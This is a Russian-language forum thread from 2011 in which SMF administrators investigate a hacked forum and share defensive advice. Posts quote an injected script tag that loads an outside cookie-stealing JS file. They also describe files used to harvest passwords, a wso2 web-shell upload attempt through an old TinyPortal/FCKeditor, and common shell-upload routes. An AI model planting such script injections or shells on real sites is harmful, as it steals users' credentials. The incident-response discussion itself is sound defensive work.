Тихий незаметный взлом форума с попыткой увести базу и пароли юзеров!!!

Автор Stern, 21 августа 2011, 12:57:12

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Stern

Вчера была пресечена попытка увести базу и пароли юзеров на одном из проектов SMF версии 1.1.13 (просьба не писать о том, что давно пора обновиться - это уже сделано!))

Один из пользователей опубликовал следующее сообщение:
ЦитироватьНе знаю сюда ли это писать, но как только сегодня зашел на форум, выскочило сообщение от Нортона: An intrusion attempt by 94.60.123.80 was blocked. Говорит, Siberia toolkit activity 2 пытался атаковать. Attacker url: c o a c h w a y . i n / t o p i c . p h p  ? b = 2 9 7 b 1 b 1 c (я не очень разбираюст, но на всякий случай разделил все знаки урла пробелами). Нортон сейф веб говорит, что сайт не заражен, но я нашел очень похожий случай на другом форуме, который действительно оказался взломан.

Беглая проверка показала изменение файлов index.php под корнем (дата создания показывалась вчерашняя).
В нём присутствовала дописанная в конце кода строчка <script src="хттп://yourerating.com/cookiesave.js"></script>
(написание протокола в адресе изменено - на всякий пожарный)

Теперь о детальной проверке.

1. Данный код был внесён во ВСЕ(!) index.php, index.htm, index.html и некоторые другие файлы на данном аккаунте хостинга. Дата начала внедрения кода - 10 августа (один(?) файл), далее - 13 августа (примерно с десяток) и 18-19 августа - ещё около 40!
2. Одновременно со стандартным index.php~ под корнем был создан original_index.php (удаление которого, кстати, вызывает неработоспособность форума).
3. Были также изменены Load.php, LogInOut.php, script.js в папке дефолтной темы, index.template.php (вроде бы), пытались также изменить smffooter.php и smfheader.php.
4. под корнем создавались три файла:
- system1.txt, в который сбрасывались хэши паролей
- wavatar1.txt, в который сбрасывались пары логин-пароль (в открытом виде!) со временем и датой захода
- полный дамп базы форума (допускаю, что это мог сделать представитель хостера - пока выясняем авторство данного файла).
5. В логе форума - куча ошибок вида
Цитировать8: Undefined index: passwrd
Файл: /data/home/xxxxxxxxxxxxxxxx/www/forum/original_index.php
Строка: 398
и
Цитировать8: Undefined index: user
Файл: /data/home/xxxxxxxxxxxxxxxx/www/forum/original_index.php
Строка: 397

На данный момент практически всё пофиксено (за исключением неработоспособности форума при удалении original.index.php (код в котором сейчас, естественно, вычищен и идентичен оригинальному) ). Попытка поиска обращений из других файлов (или - базы?) движка к данному файлу пока не доведена до конца.
Ссылки форума по умолчанию работают с присутствием index.php в адресе, но если подставить original_index.php - открываются те же самые страницы.

У кого какие соображения - что это было?

Не уверен, что необходимо публиковать куски внедрённого в вышеперечисленные файлы кода, но если нужно - могу опубликовать или прислать.

P.S. Детальный анализ лога ошибок форума (лог апача, к сожалению, до сих пор не предоставлен хостером) показал ещё два интересных момента:

1. 13 июля этого года с ваймаксово-комстаровского айпишника от имени одного из админов была совершена попытка залить шелл wso2 (о котором я отписался в соседней теме) через файл-архив отключенного(!) тинипортала :
ЦитироватьВ настоящее время Вы можете загружать один из следующих форматов файлов:
zip,rar,doc,jpg,gif,png,pdf

Расширения Ваших файлов: wso2.php
?action=tpmod;dl=upload

При этом видимых ссылок на сайте на файл-архив нету - ТП отключён, поскольку он вообще не используется - юзается только форум.

2. В логах ошибок нашлось несколько строк с пустым (!!!) полем IP следующего вида:
Цитировать8: Undefined variable: file
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
322
   Августа 18, 2011, 02:38:35 pm
   2: Missing argument 3 for db_query(), called in /data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Load.php on line 379 and defined
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
238
   Августа 18, 2011, 02:38:35 pm
   2: Missing argument 2 for db_query(), called in /data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Load.php on line 379 and defined
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
238
   Августа 18, 2011, 02:38:35 pm
   :
   Августа 18, 2011, 02:38:27 pm
   8: Undefined variable: line
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
323
   Августа 18, 2011, 02:38:27 pm
   8: Undefined variable: file
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
323
   Августа 18, 2011, 02:38:27 pm
   8: Undefined variable: file
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
322
   Августа 18, 2011, 02:38:27 pm
   2: Missing argument 3 for db_query(), called in /data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Load.php on line 379 and defined
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
238
   Августа 18, 2011, 02:38:27 pm
   2: Missing argument 2 for db_query(), called in /data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Load.php on line 379 and defined
/data/home/xxxxxxxxxxxxxxxx/www/forum/Sources/Subs.php
238

При этом у одного из пользователей в списке IP, с которых он заходил, на первом месте стоит просто запятая)
Что бы это значило?

А незадолго до того на протяжении двух часов опять-таки с ваймаксо-комстаровского (только уже другого) айпишника
была долбёжка такого вида:
Цитировать83.242.210.150    Гость    8: Undefined index: passwrd
Файл: /data/home/xxxxxxxxxxxxxxx/www/forum/original_index.php
Строка: 398
   Августа 18, 2011, 10:03:21 am
83.242.210.150    Гость    8: Undefined index: user
Файл: /data/home/xxxxxxxxxxxxxxx/www/forum/original_index.php
Строка: 397
   Августа 18, 2011, 10:03:21 am
83.242.210.150    Гость    Неверный пароль - ADMIN
?action=login2    Августа 18, 2011, 09:21:35 am
83.242.210.150    Гость    Неверный пароль - ADMIN
?action=login2

и далее - те же пары ошибок Undefined index: о логине и пароле, принадлежащие попеременно то гостю, то админу, то ещё двум участникам форума...
Кого подозревать???))

P.P.S. Залит был явно не wso2, поскольку он умеет сохранять даты изменяемых файлов(!!!), либо им пользовались неумело, а потом стёрли.
МышЫ плакали, кололись, но продолжали жрать кактус...

BIOHAZARD

соображение одно - к smf никакого отношения это не имеет
либо ломанули хостера, либо, что более вероятно, увели пароль на ftp
Мои моды:
  • RedirectPage
  • Counters
  • CustomSearch
  • SypexDumper
   адаптирую темы    1.1.хx<=>2.0задавая вопросы, старайтесь сразу указывать конечную цель, предполагаемый Вами путь не обязательно окажется самым коротким

Любые моды на заказ

Stern

Цитата: BIOHAZARD от 22 августа 2011, 07:06:26
соображение одно - к smf никакого отношения это не имеет
либо ломанули хостера, либо, что более вероятно, увели пароль на ftp
Да никто и не грешит на сам SMF)
Первое наиболее вероятно - учитывая, что до сих пор лог не предоставлен(
МышЫ плакали, кололись, но продолжали жрать кактус...

Stern

Краткий отчёт о проделанной работе - пока конспективно.

Взлом сайта - точнее, заливка на хостинг шеллов осуществляется несколькими способами.

Наиболее популярные (если это определение применимо к данной ситуации):
1. Если у злоумышленника нет никаких прав на форуме - заливка .php-файла через уязвимости в старых версиях FCkeditor при установленном Тинипортале.
Если стоит запрет на заливку php - льют под видом flw, fla и т.п.
Наиболее часто употребляющееся имя (по умолчанию) - wso или wso2.
2. Если есть админские права - заливка шелла под видом новой темы.
Наиболее часто употребляющиеся названия для "левой" темы - Black Ted, Blood-n-Roses, сам шелл может быть как встроен в один из файлов, так и располагаться отдельно с именами title.php, ss.php и т.д.
Также могут быть изменены .htaccess в некоторых папках.
3. Заливка обычным вложением на форум(!).

Естественно, все действия осуществляются через прокси, посему IP-шники меняются каждые 20 - 40 минут

Дальнейшее распространение заразы по серверу зависит от выставленных прав папок и от типа хостинга.
Дальнейшие действия (причём проявляться они могут спустя полгода и больше!) - от чисто хулиганских - вывода в браузер содержимого папок с возможностью просмотра или тупого удаления любого файла (если хватает прав) любым юзером, зашедшим на страницу, дефейса страниц и до сбора паролей, установки "левых" каталогов с дальнейшим размещением где только можно в интернете (самое простое - профиля со ссылками на "свой" сайт в phpbb) ссылок на их главные страницы и т.д. и т.п.

Меры предосторожности (банальности типа грамотных настроек прав, аккуратного хранения паролей и т.д. не привожу):

1. закрыть все дыры (в т.ч. и убить или заменить на новую версию злополучный FCkeditor)
2. регулярно просматривать содержимое хостинга на наличие подозрительных файлов - особенно в корне, папках тем, Packages, Cache (для двойки) и Sources. (Через FCkeditor льют в /tp-images/File/, /tp-images/Image/)
3. в панелях вебмастеров ПС - обращать внимание на внешние ссылки и проиндексированные страницы ваших сайтов на предмет непонятных адресов, проиндексированных в ваших доменах.
4. после установки любых модов устанавливать минимальные права на файлы форума.
5. следить за списком пользователей)
6. просматривать логи сервера и ошибок форума

Всем успешной борьбы с заразами!)
МышЫ плакали, кололись, но продолжали жрать кактус...

karavan


Макар

Цитата: Stern от 21 сентября 2011, 05:43:11
2. регулярно просматривать содержимое хостинга на наличие подозрительных файлов - особенно в корне, папках тем, Packages, Cache (для двойки) и Sources.

вот этот момент не понятен ???
по стандарту эти папки как бЭ самые защищенные окромя cache
Если Вы здесь недавно, не обольщайтесь тоном некоторых дискуссий.
Все чаще слова - юзай поиск, приобретают смысл - иди в ж..........  Приобретение смысла автоматизированно - Ответы на любой вопрос по SMF
Не пишите несколько сообщений подряд - тут вам не Twitter  >:( в остальных ситуациях мы не сильно зверствуем 2funny

Stern

Цитата: Макар от 21 сентября 2011, 12:13:44
вот этот момент не понятен ???
по стандарту эти папки как бЭ самые защищенные окромя cache
по какому стандарту и чем/кем защищённые, коллега?)
ведь если на папку установлены права 777 (по умолчанию, недосмотру или при установке моде переключив в админке на "все файлы записываемые") - в ней может оказаться всё, что угодно(
МышЫ плакали, кололись, но продолжали жрать кактус...

Макар

ну 777 по умолчанию это сразу надо большими красными буквами в шапке форума написать логин и пароль к хостингу и не париться по поводу взломов..........

я имею ввиду запрет листинга директории и запрет доступа из вне через хтаксесс
в некоторых директориях дополнительно еще пустой индекс добавлен

тут еще смотреть надо на хостинг и его настройки, у меня форум прекрасно фунциклирует при 755 и 644
и никаких повышенных прав не требует
Если Вы здесь недавно, не обольщайтесь тоном некоторых дискуссий.
Все чаще слова - юзай поиск, приобретают смысл - иди в ж..........  Приобретение смысла автоматизированно - Ответы на любой вопрос по SMF
Не пишите несколько сообщений подряд - тут вам не Twitter  >:( в остальных ситуациях мы не сильно зверствуем 2funny

karavan

Цитата: Макар от 21 сентября 2011, 17:23:20тут еще смотреть надо на хостинг и его настройки, у меня форум прекрасно фунциклирует при 755 и 644 и никаких повышенных прав не требует
у меня вроде 750, это нормально?

Макар

Если Вы здесь недавно, не обольщайтесь тоном некоторых дискуссий.
Все чаще слова - юзай поиск, приобретают смысл - иди в ж..........  Приобретение смысла автоматизированно - Ответы на любой вопрос по SMF
Не пишите несколько сообщений подряд - тут вам не Twitter  >:( в остальных ситуациях мы не сильно зверствуем 2funny

karavan


Солярис

А какие оптимально выставить права на папки и файлы форума?

GeorG

Зависит от настройки сервера, лучше спросите в своей службе поддержки хостинга.
Верстка тем по шаблону, их доработка/переработка, переделка тем с версии smf 1.1 на smf 2.0. Примеры работ - insidestyle.ru
Установка модов (заточка под ваш форум); Моды под заказ; Обновление форума; Правильный перенос; Удаление/лечение вирусов; Устранения ошибок.
Обращаться в ЛС
Мой форум
Модуль анти-спама CleanTalk, сам пользуюсь
Сервера которыми сам пользуюсь - cadedic.ru

Stern

Цитата: Солярис от 23 сентября 2011, 00:27:20
А какие оптимально выставить права на папки и файлы форума?
Этот вопрос, Солярис (спасибо за него, кстати!) давно следует вынести в отдельную тему, а вообще ему место в FAQ'е!
Зависит от включенного режима php на сервере (как верно заметил GeorG), но наверняка есть тонкости.
МышЫ плакали, кололись, но продолжали жрать кактус...

Mavn

вообще то в факе есть права на файлы и папки

и там же в теме упомянул что права на файлы и папки задаются в зависимости от настроек хоста.
Одним на файлы  644 и папки 755 хватает прав другим 666 и 777 подавай
SimpleMachines Russian Community Team
п.1 Пройду курсы гадалок для определения исходного кода по скриншоту.

п.2 У вас нет желания читать правила раздела, у меня нет желания одобрять темы, которые не соответствуют этим правилам.

Stern

Цитата: Mavn от 26 сентября 2011, 00:01:52
вообще то в факе есть права на файлы и папки

и там же в теме упомянул что права на файлы и папки задаются в зависимости от настроек хоста.
Одним на файлы  644 и папки 755 хватает прав другим 666 и 777 подавай
Да, Mavn, спасибо, только не хватает подробной разблюдовки зависимостей прав от режима php(((
МышЫ плакали, кололись, но продолжали жрать кактус...

karavan

Где то тут обсуждалось, что есть программа, которая даёт возможность просматривать дату последнего изменения файлов на сервере, чтобы знать, заливалось ли что-то туда в это время. Что это за программа, или дайте хоть ссылку на ту тему.

Stern

Цитата: karavan от 29 сентября 2011, 23:21:51
Где то тут обсуждалось, что есть программа, которая даёт возможность просматривать дату последнего изменения файлов на сервере, чтобы знать, заливалось ли что-то туда в это время. Что это за программа, или дайте хоть ссылку на ту тему.
От умных шеллов и шеллозаливателей это не спасёт - даты не изменяются при правках(
точнее - есть возможность отката на и/или выставления любой произвольной даты.
МышЫ плакали, кололись, но продолжали жрать кактус...

Oleg+

7 октября 2011 года мой форум тоже ломанули через файлы, оставшиеся от старой инсталляции tiny portal (сам портал давно не задействован). Также не была удалена папка FCKEditor.

Ломанули своеобразным образом : установили
Цитировать$maintenance = 2
в Settings.php.

Видимо, ни на что другое не хватило прав?
Житель района Восточное Дегунино (Москва, Россия)

Stern

Цитата: Oleg+ от 10 октября 2011, 12:03:16
7 октября 2011 года мой форум тоже ломанули через файлы, оставшиеся от старой инсталляции tiny portal (сам портал давно не задействован). Также не была удалена папка FCKEditor.

Ломанули своеобразным образом : установили  в Settings.php.

Видимо, ни на что другое не хватило прав?
Навряд ли.
Смотрите лог форума и сервера - там найдёте последовательность действий вредителя
МышЫ плакали, кололись, но продолжали жрать кактус...

Oleg+

Цитата: Stern от 10 октября 2011, 12:06:54
Навряд ли.
Смотрите лог форума и сервера
Логи сервера запрошу, но в логах форума за эту дату ничего необычного нет, кроме пары попыток ботов зарегистрироваться ("Запрашиваемый идентификатор не возвращает правильную информацию").

Но эти попытки идут каждый день.
Житель района Восточное Дегунино (Москва, Россия)

Mavn

Цитата: Oleg+ от 10 октября 2011, 12:14:50
Логи сервера запрошу, но в логах форума за эту дату ничего необычного нет, кроме пары попыток ботов зарегистрироваться ("Запрашиваемый идентификатор не возвращает правильную информацию").

Но эти попытки идут каждый день.
в логах форума ничего может и не быть
форум в лог пишет только то что используется самим форумом если ломалось через FCKed то форум там вообще никаким боком и взлом можно будет проследить только по логам сервака
SimpleMachines Russian Community Team
п.1 Пройду курсы гадалок для определения исходного кода по скриншоту.

п.2 У вас нет желания читать правила раздела, у меня нет желания одобрять темы, которые не соответствуют этим правилам.


Stern

МышЫ плакали, кололись, но продолжали жрать кактус...

remingtone

бэкапы ж не забудьте. форум, базу.

я себе включил

Enable Testing
Block Violations (не рекомендуется сразу включать, чтоб не побанились юзера. лучше посмотреть логи пару дней)
User-Agent Inspection.
Enable IP Validation
DOS Attack
Enable Injection Test
Enable Header Inspection

у кого не выделенка - Enable Admin IP Confirmation не включайте

Stern

МышЫ плакали, кололись, но продолжали жрать кактус...